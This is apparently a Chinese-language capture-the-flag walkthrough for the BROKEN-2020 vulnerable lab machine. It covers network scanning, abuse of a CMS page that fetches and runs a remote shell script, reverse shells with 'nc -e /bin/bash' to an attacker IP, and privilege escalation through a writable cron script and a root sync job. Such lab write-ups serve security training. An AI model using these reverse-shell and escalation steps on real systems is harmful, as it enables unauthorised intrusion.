BROKEN-2020: 1靶机

BROKEN-2020: 1靶机

arp-scan -l 扫描靶机IP地址

nmap -sV -Pn -A x.x.x.204 扫描端口

访问80端口

扫描目录

查看cms目录

安装，发现第一个flag

扫描cms目录

可以看到多了一个/cms/cc/目录，随便填个地址和端口看看，网页说没有拿到脚本

那么我们看一下他到底是拿什么脚本，本地开启一个服务器，然后再用/cms/cc/页面的功能访问我们本地开启服务器

对方的/cms/cc/网页请求了一个xx.sh的脚本，那本地新建一个脚本，看会不会运行。

其实xx.sh脚本里也可以直接写nc -e /bin/bash 10.0.2.4 4444都是差不多的
本地用nc开启一个监听，然后/cms/cc上请求我们本地的服务器

拿到flag

可以成功拿到shell。
这里有个小问题，就是弹回来的shell可能会出问题，就是那种你输入一个字符，他出现两个字符，遇到这种情况也没关系，利用当前的shell再反弹一个shell就好了
nc -e /bin/bash/ 10.0.2.4 5555
python -c "import pty;pty.spawn('/bin/bash')"
我们进入到/home/alice/flag.txt 拿到flag2
然后/home/alice/note.txt 说会定时运行log.py 清理clear.log,而/home/alice是可读可写的那么我们替换log.py

再本地开启http服务，利用wget把我们写好的log.py 传到对方服务器上，然后设置可执行权限

再本地开启nc监听，等待对方服务器连接

在这个alice权限的shell中找到第三个flag /home/alice/backup/flag.txt 当然这个文件也存在与/back/backup/flag.txt
然后根据/home/alice/backup/note.txt 提示说，root权限的脚本会去把path.txt 里面的路径同步到/home/alice/backup/

那么把/root写到/home/alice/backup/path.txt中，等待一分钟/root文件夹就被同步过来了